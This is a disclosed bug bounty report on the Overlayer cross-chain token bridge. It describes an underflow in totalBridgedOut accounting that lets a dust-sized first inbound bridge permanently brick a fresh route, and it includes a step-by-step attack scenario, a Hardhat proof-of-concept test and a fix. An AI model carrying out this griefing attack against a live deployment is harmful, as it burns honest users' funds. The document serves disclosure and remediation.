Status DataClose notification

Overlayer Disclosed Report

Fresh non-hub first inbound bridge permanently bricks the route and locks later user funds

Company
Created date
Apr 01 2026

Target

hidden

Vulnerability Details

Finding Description

The bug is in the totalBridgedOut accounting used by the OFT bridge flow

In OverlayerWrapCore, the source-chain path increase totalBridgedOut inside _debit() while the destination-chain path alway decreases it inside _credit()

The relevant logic is:

function _debit(...) internal override returns (...) {
    (amountSentLD, amountReceivedLD) = super._debit(...);
    totalBridgedOut += amountSentLD;
}

function _credit(...) internal override returns (uint256 amountReceivedLD) {
    amountReceivedLD = super._credit(...);
    totalBridgedOut -= amountReceivedLD;
}

That assumption is invalid on a fresh non-hub route. A fresh destination start with totalSupply() == 0 and totalBridgedOut() == 0 because it has never originated an outbound bridge. When the first inbound bridge arrive, _credit() still try to subtract a positive amountReceivedLD from zero which underflow and revert with panic

This is enough to brick the route because the failure happen after the source-side debit logic has already burned the sender’s tokens. It also reproduce through the authenticated lzReceive(...) path not just through direct helper calls

The state cannot be repaired through ordinary protocol usage. In OverlayerWrap, user mint() and redeem() route into hub-only internal flows so a non-hub user cannot self-seed local state through normal protocol usage. There is also no admin setter or recovery function that can directly seed destination totalBridgedOut. As a result, once the first inbound credit fail on a fresh route, later inbound users remain stuck on the same route as well

Exploit Scenario

  1. A fresh non-hub route exist
  2. An attacker become the first inbound sender on that route and bridge the minimum shared-decimal amount, 0.000001 OW
  3. The source chain burn the attacker OW and increment source totalBridgedOut
  4. The destination chain receive the LayerZero message and reach _credit()
  5. _credit() try to execute totalBridgedOut -= amountReceivedLD even though destination totalBridgedOut is still zero
  6. The destination transaction revert with panic 0x11
  7. Destination state stay unchanged at zero supply and zero totalBridgedOut
  8. A later honest user bridge to the same route
  9. The honest user source-side tokens are burned too and the destination fail again for the same reason

The attacker own initial cost is negligible but they convert the route into a permanent sink for later honest users on that path

Impact

This is a Critical permanent-lock issue because a permissionless attacker can brick a fresh non-hub bridge route and cause later users on that route to lose access to their bridged funds

Recommendation

make totalBridgedOut hub-only accounting and stop decrementing it on non-hub destinations during _credit() so a fresh destination can accept its first inbound bridge without requiring any outbound bridge state

Validation steps

Test Script

Add this test to the bridge-accounting section of the OverlayerWrap test file.

it("Should let a dust first bridge brick later honest users on the same fresh route", async function () {
  const { source, destination } = await loadFixture(deployFreshRouteFixture);

  await destination.overlayerWrap
    .connect(destination.admin)
    .setPeer(
      SRC_EID,
      ethers.zeroPadValue(await source.overlayerWrap.getAddress(), 32)
    );

  const attackerAmount = LD_TO_SD_RATE;
  const victimAmount = ethers.parseEther("10");

  await source.overlayerWrap.connect(source.alice).mint({
    benefactor: source.alice.address,
    beneficiary: source.alice.address,
    collateral: await source.collateral.getAddress(),
    collateralAmount: 1n,
    overlayerWrapAmount: attackerAmount
  });
  await source.overlayerWrap.connect(source.bob).mint({
    benefactor: source.bob.address,
    beneficiary: source.bob.address,
    collateral: await source.collateral.getAddress(),
    collateralAmount: ethers.parseUnits(
      "10",
      await source.collateral.decimals()
    ),
    overlayerWrapAmount: victimAmount
  });

  await ethers.provider.send("hardhat_setBalance", [
    LZ_ENDPOINT_ETH_MAINNET_V2,
    "0x3635C9ADC5DEA00000"
  ]);
  await ethers.provider.send("hardhat_impersonateAccount", [
    LZ_ENDPOINT_ETH_MAINNET_V2
  ]);
  const endpointSigner = await ethers.getSigner(LZ_ENDPOINT_ETH_MAINNET_V2);

  await source.overlayerWrap
    .connect(source.alice)
    .testDebit(source.alice.address, attackerAmount, attackerAmount, DST_EID);

  await expect(
    destination.overlayerWrap.connect(endpointSigner).lzReceive(
      {
        srcEid: SRC_EID,
        sender: ethers.zeroPadValue(
          await source.overlayerWrap.getAddress(),
          32
        ),
        nonce: 1
      },
      ethers.ZeroHash,
      encodeOftMessage(destination.alice.address, attackerAmount),
      ethers.ZeroAddress,
      "0x"
    )
  ).to.be.revertedWithPanic(0x11);

  await source.overlayerWrap
    .connect(source.bob)
    .testDebit(source.bob.address, victimAmount, victimAmount, DST_EID);

  await expect(
    destination.overlayerWrap.connect(endpointSigner).lzReceive(
      {
        srcEid: SRC_EID,
        sender: ethers.zeroPadValue(
          await source.overlayerWrap.getAddress(),
          32
        ),
        nonce: 2
      },
      ethers.keccak256("0x1234"),
      encodeOftMessage(destination.bob.address, victimAmount),
      ethers.ZeroAddress,
      "0x"
    )
  ).to.be.revertedWithPanic(0x11);

  expect(await destination.overlayerWrap.totalSupply()).to.equal(0);
  expect(await destination.overlayerWrap.totalBridgedOut()).to.equal(0);
  expect(await source.overlayerWrap.totalBridgedOut()).to.equal(
    attackerAmount + victimAmount
  );
  expect(await source.overlayerWrap.balanceOf(source.bob.address)).to.equal(0);

  await ethers.provider.send("hardhat_stopImpersonatingAccount", [
    LZ_ENDPOINT_ETH_MAINNET_V2
  ]);
});

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Critical
Bounty$69
Visibilitypartially
VulnerabilityBlockchain
Participants
hidden